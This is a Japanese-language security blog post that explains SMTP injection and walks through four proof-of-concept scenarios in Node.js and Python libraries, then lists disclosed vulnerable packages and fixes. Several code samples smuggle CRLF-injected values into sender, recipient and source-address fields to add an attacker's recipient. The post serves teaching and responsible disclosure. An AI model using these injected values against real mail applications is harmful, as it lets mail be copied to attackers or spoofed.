Skip to main content

SMTPインジェクションを防ぐ:ホワイトボックス入門

著者
Headshot of Sam Sanoop

Sam Sanoop

feature smtp injection

2022年9月15日

0 分で読めます

SMTPインジェクションの脆弱性は、開発者やセキュリティの専門家にも誤解されやすく、静的解析製品でも見逃されることがあります。このブログでは、ライブラリやアプリケーションに存在しうる一般的なSMTPインジェクションの脆弱性と、それらを迅速に発見・修正するためのヒントを紹介します。

SMTPの概要

Simple Mail Transfer Protocol(SMTP)は、メールの送受信に使用されるプロトコルです。通常、ユーザー向けのメールクライアントは、メールを中継するメールサーバーに送信するためにSMTPを使用します。SMTPサーバーは一般に、ポート番号25(平文通信)および587(暗号化通信)のTransmission Control Protocolを使用します。

現代のソフトウェアやアプリケーションでは、ユーザーの操作に応じてメールを送信するユーザーフローの一部として、SMTPプロトコルがよく使われます。たとえば、登録確認メールでは、ユーザーのメールアドレスに定型のウェルカムメッセージを添えてSMTPサーバーに中継し、ユーザーのメールアカウントに送信します。

SMTPクライアントとサーバー間のセッションでは、クライアントが複数のSMTPコマンドを使用できます。一般的な例をいくつか紹介します。

  • HELO/EHLO - HELOコマンドはSMTPセッションの通信を開始します。例:HELO snyk.io

  • MAIL FROM - MAIL FROMコマンドは、送信元のメールアドレスを指定してメール転送を開始します。例:MAIL FROM "[foo@snyk.io](mailto:foo@snyk.io)"

  • RCPT TO - RCPT TOコマンドは、メールの送信先となる受信者を指定します。例:RCPT TO "[foobar@snyk.io](mailto:foobar@snyk.io)"

  • DATA - DATAコマンドを使って、クライアントはサーバーにメールデータの転送許可を求めます。応答コード354が返されると許可が与えられ、クライアントはメール本文を1行ずつ送信します。DATAの送信は、.文字で終了できます

クライアントとサーバー間のSMTP通信の例を以下に示します。

Server: 220 smtp.snyk.test ESMTP Postfix
Client: HELO relay.snyk.test
Server: 250 Hello relay.snyk.test, I am glad to meet you
Client: MAIL FROM:<sams@snyk.test>
S: 250 Ok
C: RCPT TO:<jack@snyk.test>
S: 250 Ok
C: RCPT TO:<asaf@snyk.test>
S: 250 Ok
C: DATA
S: 354 End data with <CR><LF>.<CR><LF>
C: From: "Sam S" <sams@snyk.test>
C: To: "Jack H" <jack@snyk.test>
C: Cc: asaf@snyk.test
C: Date: Tue, 15 Jan 2008 16:02:43 -0500
C: Subject: Test message
C:
C: Hello Jack.
C: This is a test.
C: Your friend,
C: Sam
C: .
S: 250 Ok: queued as 12345
C: QUIT
S: 221 Bye
{The server closed the connection}

SMTPインジェクションとは

SMTPインジェクションは、クライアントとサーバー間で行われるSMTP通信に、攻撃者が任意のSMTPコマンドを挿入できる場合に発生します。ユーザーが制御できるパラメーターに含まれるCRLF文字が、検証や適切なサニタイズを経ずにSMTPコマンドに含められることで、追加のコマンドが挿入されることがあります。

こうした問題は、SMTPコマンドの送信にライブラリを使用しているWebアプリケーションや、ユーザーが制御するパラメーターを検証していない独自実装でよく見られます。

SMTPインジェクションによる影響は、脆弱性のあるアプリケーションの状況によって異なります。一般的な影響には、次のようなものがあります。

  • メールのコピーを第三者に送信する。

  • SMTPサーバーに送信されるメッセージの内容を改ざんする。

  • SMTPインジェクションの影響を受けるアプリケーションをプロキシとして悪用し、フィッシング攻撃を行う。

SMTPインジェクションをより深く理解するために、次の例を見てみましょう。

SMTPインジェクションのシナリオ1

開発者は、SMTPサーバーへのメール送信にサードパーティ製ライブラリをよく利用します。これは、標準ライブラリのSMTP関数に代わる手段となります。その一例がsmtp-clientです。smtp-clientにはホスト名、認証情報、受信者、送信者を設定するためのさまざまなフィールドがあり、それらをSMTPメッセージの一部として送信できます。

var smtp = require('smtp-client');
let s = new smtp.SMTPClient({
  host: '127.0.0.1',
  port: 1225
});

(async function() {

  await s.connect();

  await s.greet({hostname: '127.0.01'}); // runs EHLO command or HELO as a fallback
  await s.authPlain({username: 'testuser', password: 'testpass'}); // authenticates a user
  await s.mail({from: 'from@sender.com'}); // runs MAIL FROM command
  await s.rcpt({to: 'to@recipient.com'}); // runs RCPT TO command (run this multiple times to add more recii)
  await s.data('mail source'); // runs DATA command and streams email source
  await s.quit(); // runs QUIT command

})().catch(console.error);

ただし、s.rcptフィールドを設定できず、ユーザーがs.mailだけを制御できる状況を考えてみましょう。その場合、CRLF文字を使ってfrom@sender.com>\r\nRCPT TO:<[attacker@snyk.io](mailto:attacker@snyk.io)のような新しいコマンドを挿入できます。

例:

await s.mail({from: 'from@sender.com>\r\nRCPT TO:<attacker@snyk.io'});

検証が行われないため、SMTPクライアントはCRLF文字を処理し、RCPT TO:<[attacker@snyk.io](mailto:attacker@snyk.io)を新しいSMTPコマンドとして扱います。以下の画像は、このコマンドがSMTPサーバーに受け入れられる様子を示しています。

認証の成功、送信者と受信者のアドレス、受け付けましたという応答、メッセージデータの終端を示すSMTPデバッグログ。

smtp-clientに加えて、SnykはEmail MIMEとNet::SMTPのPerlパッケージにも、複数のフィールドを介したSMTPインジェクションの脆弱性があることを発見しました。このセキュリティ問題は該当するライブラリのメンテナーに報告され、これらのパッケージの最新バージョンでは修正が実装されています。

SMTPインジェクションのシナリオ2

開発者がSMTPサーバーとの通信に使用できる低レベルライブラリは、さまざまな言語のエコシステムに存在します。その一例がsmtp-channelです。

smtp-channelの場合、開発者はユーザー提供の入力を使ってメールを作成し、そのデータをストリームとしてsmtp-channelに渡すことがあります。その場合、攻撃者はヘッダーを追加し、既存のSMTPセッションを利用してメールを偽造できます。以下のコードは、この問題を示しています。

const {SMTPChannel} = require('smtp-channel');

(async function() {
    let handler = console.log;

    let smtp = new SMTPChannel({
      host: 'localhost',
      port: 1225
    });

    var userinput = 'RCPT TO: <attacker@snyk.test>\r\nDATA\r\n\r\nFoo'
    var userstream = 'EHLO mx.me.com\r\nMAIL FROM: <test@snyk.test>\r\n' + userinput + '\r\n.\r\n'
    await smtp.connect({handler, timeout: 3000});
    await smtp.write(userstream, {handler});
    await smtp.write('QUIT\r\n', {handler});

  })().catch(console.error);

SMTPインジェクションのシナリオ3

SMTPクライアントと組み合わせて使われるメール作成ライブラリも、SMTPインジェクションの影響を受ける可能性があります。この問題の例はemail Python packageに見られます。emailパッケージは、メールメッセージを管理するためのライブラリです。この場合、mail.headerregistry.AddressフィールドにCRLF文字を渡すことで、SMTPインジェクションが可能になります。

import smtplib

from email.message import EmailMessage
from email.headerregistry import Address
from email.utils import make_msgid

# Create the base text message.
msg = EmailMessage()
msg['Subject'] = "Example Subject"
msg['From'] = Address("Sam", "Sanoop", "snyk.test")
msg['To'] = (Address("Example", "One", "snyk.test>\r\ncC: Foo <attacker@snyk.test"))
msg.set_content("""\
Salut!

Test Email 
--Sam
""")

# Send the message via SMTP server.
with smtplib.SMTP("127.0.0.1", 1225) as s:
    s.login("testuser", "testpass")
    s.set_debuglevel(2)
    s.send_message(msg)

以下の画像は、既存のRCPTコマンドを>文字で閉じ、\r\nを使って新しいcCヘッダーを挿入する様子を示しています。これが新しいRCPTコマンドとして送信されます。

SMTPテストメールの送信成功を示すターミナルログ。件名「Example Subject」、送信者と受信者の詳細、メッセージがキューに登録されたことを示す確認が表示されています。

この脆弱性は、Pythonセキュリティチームによって3.Xリリースで修正されています。こちらをクリックして、リリースノート全文をご確認ください。ただし、2.Xバージョンは引き続き脆弱です。

SMTPインジェクションのシナリオ4

SMTPインジェクションの脆弱性を調査する際は、ホスト名や送信元アドレスなどのフィールドでもCRLF文字が許可され、SMTPインジェクションにつながる可能性がある点に注意してください。

次の例では、FromフィールドとToフィールドからaiosmtplibに渡される値はサニタイズされています。しかし、source_addressに任意のSMTPコマンドを挿入することは依然として可能です。これを実証する概念実証(PoC)を以下に示します。

import asyncio
from email.message import EmailMessage

from aiosmtplib import SMTP

async def say_hello():
    message = EmailMessage()
    message["From"] = "root@localhost"
    message["To"] = "somebody@example.com"
   ## message["Subject"] = "Hello World!\r\nFoo: Bar"
    message.set_content("Sent via aiosmtplib")

    smtp_client = SMTP(hostname="127.0.0.1", port=1225,source_address="bob.example.org\r\nRCPT TO: <attacker@attacker.com>")
    async with smtp_client:
        await smtp_client.send_message(message)

event_loop = asyncio.get_event_loop()
event_loop.run_until_complete(say_hello())

これにより、次のSMTP通信が作成されます。

SMTP通信のやり取りを表示したターミナル。コマンドやサーバーの応答、拒否されたMAILコマンド、正常に完了したリセットと終了が示されています。

その他の検討事項

場合によっては、メールライブラリがコード実行につながる経路を許すこともあります。一例がmail()関数です。ユーザー入力がmail()関数の5番目のパラメーターに渡されると、攻撃者にコード実行へ悪用される可能性があります。こちらをクリックして、この問題の例をご確認ください。

SMTPインジェクションの脆弱性は、メールインジェクションの脆弱性と混同されることがよくあります。メールインジェクションでは、攻撃者がSMTP関数を使って任意のメールを送信し、メール機能を悪用してフィッシング攻撃を行う可能性があります。一方、SMTPインジェクションではCRLF文字を使って任意のヘッダーを挿入し、それを利用してメールを偽造し、フィッシング攻撃を行うことができます。

SMTPインジェクションを防ぐ

SMTPインジェクションは、開発者やオープンソースライブラリのメンテナーに見落とされがちな脆弱性です。多くの場合、こうした問題はライブラリのメンテナーが修正する必要があります。JavaMail、PHPMailer、RubyMailなどのよく知られたライブラリの多くは、CRLF文字をサニタイズしてSMTPインジェクションをすでに防いでいます。smtp-channelのような低レベルライブラリでは、利用する開発者がユーザー入力を検証・サニタイズする責任を負います。

オープンソースコミュニティのセキュリティ向上を支援するため、Snykのセキュリティチームは以下のライブラリにおけるSMTPインジェクションの脆弱性も開示しました。

ライブラリ

言語

修正済みバージョン

SMTPMail-drogon

C

Masterで修正済み

Email::MIME

Perl

修正プログラムなし

Net::SMTP

Perl

修正プログラムなし

aiosmtplib

Python

1.1.7で修正済み

smtpclient

NodeJS

修正プログラムなし

CTFを始めよう

オンデマンドのバーチャル入門ワークショップを視聴して、CTFの課題の解き方を学びましょう。